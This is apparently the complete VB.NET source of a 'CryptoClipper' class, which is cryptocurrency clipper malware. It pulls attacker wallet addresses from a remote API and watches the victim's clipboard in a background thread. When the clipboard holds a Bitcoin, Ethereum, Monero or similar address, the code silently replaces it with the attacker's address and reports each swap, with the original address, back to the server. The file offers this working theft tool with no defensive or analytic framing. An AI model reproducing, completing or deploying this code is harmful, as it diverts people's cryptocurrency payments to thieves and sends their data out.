Imports System.Net.Http
Imports System.Text
Imports System.Text.RegularExpressions
Imports System.Threading
Imports System.Windows.Forms
Imports Newtonsoft.Json
Imports System.IO

Public Class CryptoClipper
    Private ReadOnly apiKey As String
    Private ReadOnly apiBaseUrl As String
    Private ReadOnly httpClient As HttpClient
    Private clipboardMonitor As Thread
    Private supportedCoins As Dictionary(Of String, String)
    Private isRunning As Boolean = False
    Private ReadOnly debugLogPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "crypto_clipper_debug.txt")

    Public Sub New(apiKey As String, apiBaseUrl As String)
        Me.apiKey = apiKey
        Me.apiBaseUrl = apiBaseUrl
        Me.httpClient = New HttpClient()
        ' Remove any existing headers first
        Me.httpClient.DefaultRequestHeaders.Clear()
        ' Add the API key header with exact casing
        Me.httpClient.DefaultRequestHeaders.Add("X-API-Key", apiKey.Trim())
        Me.supportedCoins = New Dictionary(Of String, String)()
        WriteDebug("CryptoClipper initialized with API Key: " & apiKey.Substring(0, 10) & "...")
        WriteDebug("API Base URL: " & apiBaseUrl)
        WriteDebug("Full API Key: " & apiKey) ' Log the full key for debugging
    End Sub

    Private Sub WriteDebug(message As String)
        Try
            Dim timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")
            Dim logMessage = $"[{timestamp}] {message}{Environment.NewLine}"
            File.AppendAllText(debugLogPath, logMessage)
        Catch ex As Exception
            ' Silent fail for logging
        End Try
    End Sub

    Public Async Function InitializeAsync() As Task
        Try
            ' Get addresses from API
            WriteDebug("Fetching addresses from: " & apiBaseUrl)
            WriteDebug("Request headers: X-API-Key: " & apiKey.Substring(0, 10) & "...")
            
            ' Create a new request message
            Dim request = New HttpRequestMessage(HttpMethod.Get, $"{apiBaseUrl}?endpoint=get_addresses")
            request.Headers.Add("X-API-Key", apiKey.Trim())
            
            ' Send the request
            Dim response = Await httpClient.SendAsync(request)
            WriteDebug("Response status code: " & response.StatusCode)
            WriteDebug("Response headers: " & String.Join(", ", response.Headers.Select(Function(h) $"{h.Key}: {String.Join(", ", h.Value)}")))
            
            If response.IsSuccessStatusCode Then
                Dim content = Await response.Content.ReadAsStringAsync()
                WriteDebug("Received addresses: " & content)
                
                ' Parse the JSON response
                Dim addresses = JsonConvert.DeserializeObject(Of Dictionary(Of String, String))(content)
                If addresses IsNot Nothing Then
                    supportedCoins = addresses
                    WriteDebug("Loaded " & supportedCoins.Count & " addresses")
                    For Each coin In supportedCoins
                        WriteDebug($"Loaded {coin.Key}: {coin.Value}")
                    Next
                Else
                    WriteDebug("No addresses found in response")
                    supportedCoins = New Dictionary(Of String, String)()
                End If
            Else
                Dim errorContent = Await response.Content.ReadAsStringAsync()
                WriteDebug("Failed to get addresses. Status: " & response.StatusCode)
                WriteDebug("Error response: " & errorContent)
                supportedCoins = New Dictionary(Of String, String)()
            End If
        Catch ex As Exception
            WriteDebug("Error initializing crypto clipper: " & ex.Message)
            WriteDebug("Stack trace: " & ex.StackTrace)
            supportedCoins = New Dictionary(Of String, String)()
        End Try
    End Function

    Public Sub Start()
        If isRunning Then Return
        isRunning = True
        clipboardMonitor = New Thread(AddressOf MonitorClipboard)
        clipboardMonitor.IsBackground = True
        clipboardMonitor.Start()
        WriteDebug("CryptoClipper started")
    End Sub

    Public Sub Stop()
        isRunning = False
        If clipboardMonitor IsNot Nothing Then
            clipboardMonitor.Join(1000)
        End If
        WriteDebug("CryptoClipper stopped")
    End Sub

    ' Alias for Stop() to maintain compatibility
    Public Sub StopMonitoring()
        Stop()
    End Sub

    Private Sub MonitorClipboard()
        Dim lastClipboardText As String = ""
        Dim errorCount As Integer = 0
        Dim lastCheckTime As DateTime = DateTime.Now
        
        WriteDebug("Clipboard monitoring started")
        
        While isRunning
            Try
                ' Check if we need to recover from a long pause
                If (DateTime.Now - lastCheckTime).TotalSeconds > 5 Then
                    WriteDebug("Recovering from long pause - " & (DateTime.Now - lastCheckTime).TotalSeconds & " seconds")
                End If
                lastCheckTime = DateTime.Now
                
                If Clipboard.ContainsText() Then
                    Dim currentText = Clipboard.GetText()
                    If currentText <> lastClipboardText Then
                        lastClipboardText = currentText
                        WriteDebug("New clipboard text: " & currentText)
                        
                        ' Check each supported coin
                        For Each coin In supportedCoins
                            WriteDebug("Checking coin: " & coin.Key & " with pattern for " & coin.Key)
                            If IsValidCryptoAddress(currentText, coin.Key) Then
                                WriteDebug("Valid address found for " & coin.Key)
                                ' Replace with our address
                                Clipboard.SetText(coin.Value)
                                ' Log the replacement
                                LogClipboardReplacement(coin.Key, currentText, coin.Value)
                            End If
                        Next
                    End If
                End If
                
                ' Reset error count on successful check
                errorCount = 0
                
                ' Sleep for 500ms
                Thread.Sleep(500)
                
            Catch ex As Exception
                errorCount += 1
                WriteDebug("Clipboard error #" & errorCount & ": " & ex.Message)
                
                ' If we get too many errors, try to recover
                If errorCount > 5 Then
                    WriteDebug("Too many errors, attempting recovery...")
                    Try
                        ' Clear any existing clipboard data
                        Clipboard.Clear()
                        ' Reset error count
                        errorCount = 0
                        WriteDebug("Recovery successful")
                    Catch recoverEx As Exception
                        WriteDebug("Recovery failed: " & recoverEx.Message)
                    End Try
                End If
                
                ' Wait longer after an error
                Thread.Sleep(1000)
            End Try
        End While
        
        WriteDebug("Clipboard monitoring stopped")
    End Sub

    Private Function IsValidCryptoAddress(address As String, coinType As String) As Boolean
        Try
            Dim pattern As String = ""
            Select Case coinType.ToUpper()
                Case "BTC"
                    pattern = "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$"
                Case "ETH"
                    pattern = "^0x[a-fA-F0-9]{40}$"
                Case "XRP"
                    pattern = "^r[0-9a-zA-Z]{24,34}$"
                Case "LTC"
                    pattern = "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"
                Case "BCH"
                    pattern = "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$"
                Case "XMR"
                    pattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$"
                Case Else
                    Return False
            End Select
            
            Dim isValid = Regex.IsMatch(address, pattern)
            WriteDebug($"Validating {coinType} address: {address} - Result: {isValid}")
            Return isValid
        Catch ex As Exception
            WriteDebug("Validation error: " & ex.Message)
            Return False
        End Try
    End Function

    Private Async Sub LogClipboardReplacement(coinType As String, originalAddress As String, replacedAddress As String)
        Try
            Dim data = New With {
                .coin = coinType,
                .original_address = originalAddress,
                .replaced_address = replacedAddress
            }
            Dim content = New StringContent(JsonConvert.SerializeObject(data), Encoding.UTF8, "application/json")
            Dim response = Await httpClient.PostAsync($"{apiBaseUrl}?endpoint=log_clip", content)
            If response.IsSuccessStatusCode Then
                WriteDebug("Replacement logged successfully")
            Else
                WriteDebug("Failed to log replacement. Status: " & response.StatusCode)
            End If
        Catch ex As Exception
            WriteDebug("Logging error: " & ex.Message)
        End Try
    End Sub

    ' Add a method to check if monitoring is active
    Public Function IsMonitoring() As Boolean
        Return isRunning AndAlso clipboardMonitor IsNot Nothing AndAlso clipboardMonitor.IsAlive
    End Function

    ' Add a method to get monitoring status
    Public Function GetMonitoringStatus() As String
        If Not isRunning Then
            Return "Stopped"
        ElseIf clipboardMonitor Is Nothing Then
            Return "Not initialized"
        ElseIf Not clipboardMonitor.IsAlive Then
            Return "Thread dead"
        Else
            Return "Running"
        End If
    End Function
End Class 